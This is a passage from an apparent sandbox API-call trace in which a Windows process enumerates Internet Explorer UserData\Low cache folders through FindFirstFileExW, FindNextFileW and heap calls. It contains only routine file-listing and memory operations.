HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\65UX3YG0\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x5dae20 [0053.683] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0053.683] FindNextFileW (in: hFindFile=0x5dae20, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x54b9d5d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b9d5d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b9d5d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.683] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0053.683] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0053.683] FindNextFileW (in: hFindFile=0x5dae20, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x54b9d5d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b9d5d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b9d5d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0053.683] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xd0) returned 0x5cb618 [0053.683] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x562910 | out: hHeap=0x540000) returned 1 [0053.683] FindClose (in: hFindFile=0x5dae20 | out: hFindFile=0x5dae20) returned 1 [0053.683] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\65UX3YG0\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x5dae20 [0053.683] FindNextFileW (in: hFindFile=0x5dae20, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x54b9d5d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b9d5d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b9d5d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.683] FindNextFileW (in: hFindFile=0x5dae20, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x54b9d5d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b9d5d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b9d5d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0053.684] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5cb618 | out: hHeap=0x540000) returned 1 [0053.684] FindClose (in: hFindFile=0x5dae20 | out: hFindFile=0x5dae20) returned 1 [0053.684] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bf20 | out: hHeap=0x540000) returned 1 [0053.684] FindNextFileW (in: hFindFile=0x5dada0, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x54b9d5d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b9d5d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b9d5d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AY721QDR", cAlternateFileName="")) returned 1 [0053.684] lstrcmpW (lpString1="AY721QDR", lpString2=".") returned 1 [0053.684] lstrcmpW (lpString1="AY721QDR", lpString2="..") returned 1 [0053.684] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x603dd8 [0053.684] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xb0) returned 0x559f38 [0053.684] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x106) returned 0x5fe998 [0053.684] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x559f38 | out: hHeap=0x540000) returned 1 [0053.684] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5feab0 | out: hHeap=0x540000) returned 1 [0053.684] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x603dd8 | out: hHeap=0x540000) returned 1 [0053.684] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xc0) returned 0x55bf20 [0053.684] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x210) returned 0x562910 [0053.684] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\AY721QDR\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x5dae20 [0053.684] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0053.684] FindNextFileW (in: hFindFile=0x5dae20, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x54b9d5d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b9d5d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b9d5d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.684] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0053.684] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0053.684] FindNextFileW (in: hFindFile=0x5dae20, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x54b9d5d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b9d5d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b9d5d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0053.684] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xd0) returned 0x5cb618 [0053.684] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x562910 | out: hHeap=0x540000) returned 1 [0053.684] FindClose (in: hFindFile=0x5dae20 | out: hFindFile=0x5dae20) returned 1 [0053.684] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\AY721QDR\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x5dae20 [0053.685] FindNextFileW (in: hFindFile=0x5dae20, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x54b9d5d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b9d5d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b9d5d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.685] FindNextFileW (in: hFindFile=0x5dae20, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x54b9d5d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b9d5d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b9d5d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0053.685] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5cb618 | out: hHeap=0x540000) returned 1 [0053.685] FindClose (in: hFindFile=0x5dae20 | out: hFindFile=0x5dae20) returned 1 [0053.685] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bf20 | out: hHeap=0x540000) returned 1 [0053.685] FindNextFileW (in: hFindFile=0x5dada0, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x54b9d5d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b9d5d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b9d5d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DZBKZBIC", cAlternateFileName="")) returned 1 [0053.685] lstrcmpW (lpString1="DZBKZBIC", lpString2=".") returned 1 [0053.685] lstrcmpW (lpString1="DZBKZBIC", lpString2="..") returned 1 [0053.685] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x603dd8 [0053.685] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xb0) returned 0x559f38 [0053.685] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x106) returned 0x5feab0 [0053.685] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x559f38 | out: hHeap=0x540000) returned 1 [0053.685] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5fe998 | out: hHeap=0x540000) returned 1 [0053.685] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x603dd8 | out: hHeap=0x540000) returned 1 [0053.685] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xc0) returned 0x55bf20 [0053.685] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x210) returned 0x562910 [0053.685] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\DZBKZBIC\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x5dae20 [0053.685] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0053.685] FindNextFileW (in: hFindFile=0x5dae20, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x54b9d5d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b9d5d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b9d5d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.685] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0053.685] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0053.685] FindNextFileW (in: hFindFile=0x5dae20, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x54b9d5d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b9d5d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b9d5d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0053.685] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xd0) returned 0x5cb618 [0053.686] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x562910 | out: hHeap=0x540000) returned 1 [0053.686] FindClose (in: hFindFile=0x5dae20 | out: hFindFile=0x5dae20) returned 1 [0053.686] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\DZBKZBIC\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x5dae20 [0053.686] FindNextFileW (in: hFindFile=0x5dae20, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x54b9d5d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b9d5d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b9d5d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.686] FindNextFileW (in: hFindFile=0x5dae20, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x54b9d5d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b9d5d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b9d5d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0053.686] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5cb618 | out: hHeap=0x540000) returned 1 [0053.686] FindClose (in: hFindFile=0x5dae20 | out: hFindFile=0x5dae20) returned 1 [0053.686] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bf20 | out: hHeap=0x540000) returned 1 [0053.686] FindNextFileW (in: hFindFile=0x5dada0, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x54b9d5d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b9d5d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbaf619f0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 1 [0053.686] FindNextFileW (in: hFindFile=0x5dada0, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x54b9d5d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b9d5d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b9d5d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VRLZOZ0E", cAlternateFileName="")) returned 1 [0053.686] lstrcmpW (lpString1="VRLZOZ0E", lpString2=".") returned 1 [0053.686] lstrcmpW (lpString1="VRLZOZ0E", lpString2="..") returned 1 [0053.686] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x603dd8 [0053.686] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xb0) returned 0x559f38 [0053.686] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x106) returned 0x5fe998 [0053.686] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x559f38 | out: hHeap=0x540000) returned 1 [0053.686] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5feab0 | out: hHeap=0x540000) returned 1 [0053.686] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x603dd8 | out: hHeap=0x540000) returned 1 [0053.686] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xc0) returned 0x55bf20 [0053.686] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x210) returned 0x562910 [0053.686] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\VRLZOZ0E\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x5dae20 [0053.687] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0053.687] FindNextFileW (in: hFindFile=0x5dae20, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x54b9d5d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b9d5d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b9d5d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.687] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0053.687] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0053.687] FindNextFileW (in: hFindFile=0x5dae20, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x54b9d5d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b9d5d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b9d5d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0053.687] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xd0) returned 0x5cb618 [0053.687] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x562910 | out: hHeap=0x540000) returned 1 [0053.687] FindClose (in: hFindFile=0x5dae20 | out: hFindFile=0x5dae20) returned 1 [0053.687] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\VRLZOZ0E\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x5dae20 [0053.687] FindNextFileW (in: hFindFile=0x5dae20, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x54b9d5d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b9d5d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b9d5d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.687] FindNextFileW (in: hFindFile=0x5dae20, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x54b9d5d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b9d5d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b9d5d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0053.687] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5cb618 | out: hHeap=0x540000) returned 1 [0053.687] FindClose (in: hFindFile=0x5dae20 | out: hFindFile=0x5dae20) returned 1 [0053.687] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55bf20 | out: hHeap=0x540000) returned 1 [0053.687] FindNextFileW (in: hFindFile=0x5dada0, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x54b9d5d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b9d5d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b9d5d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VRLZOZ0E", cAlternateFileName="")) returned 0 [0053.687] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xb0) returned 0x559f38 [0053.687] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x106) returned 0x5feab0 [0053.687] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x559f38 | out: hHeap=0x540000) returned 1 [0053.687] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5fe998 | out: hHeap=0x540000) returned 1 [0053.687] FindClose (in: hFindFile=0x5dada0 | out: hFindFile=0x5dada0) returned 1 [0053.687] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x5dada0 [0053.688] FindNextFileW (in: hFindFile=0x5dada0, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x54b77470, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b9d5d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b9d5d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.688] FindNextFileW (in: hFindFile=0x5dada0, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x54b9d5d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b9d5d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b9d5d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="65UX3YG0", cAlternateFileName="")) returned 1 [0053.688] FindNextFileW (in: hFindFile=0x5dada0, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x54b9d5d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b9d5d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b9d5d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AY721QDR", cAlternateFileName="")) returned 1 [0053.688] FindNextFileW (in: hFindFile=0x5dada0, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x54b9d5d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b9d5d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b9d5d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DZBKZBIC", cAlternateFileName="")) returned 1 [0053.688] FindNextFileW (in: hFindFile=0x5dada0, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x54b9d5d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b9d5d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbaf619f0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 1 [0053.688] FindNextFileW (in: hFindFile=0x5dada0, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x54b9d5d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b9d5d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b9d5d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VRLZOZ0E", cAlternateFileName="")) returned 1 [0053.688] FindNextFileW (in: hFindFile=0x5dada0, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x54b9d5d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b9d5d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b9d5d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VRLZOZ0E", cAlternateFileName="")) returned 0 [0053.688] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5feab0 | out: hHeap=0x540000) returned 1 [0053.688] FindClose (in: hFindFile=0x5dada0 | out: hFindFile=0x5dada0) returned 1 [0053.688] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x559e80 | out: hHeap=0x540000) returned 1 [0053.688] FindNextFileW (in: hFindFile=0x5dade0, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x54b77470, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b9d5d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b9d5d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Low", cAlternateFileName="")) returned 0 [0053.688] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xb0) returned 0x559e80 [0053.688] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x559c58 | out: hHeap=0x540000) returned 1 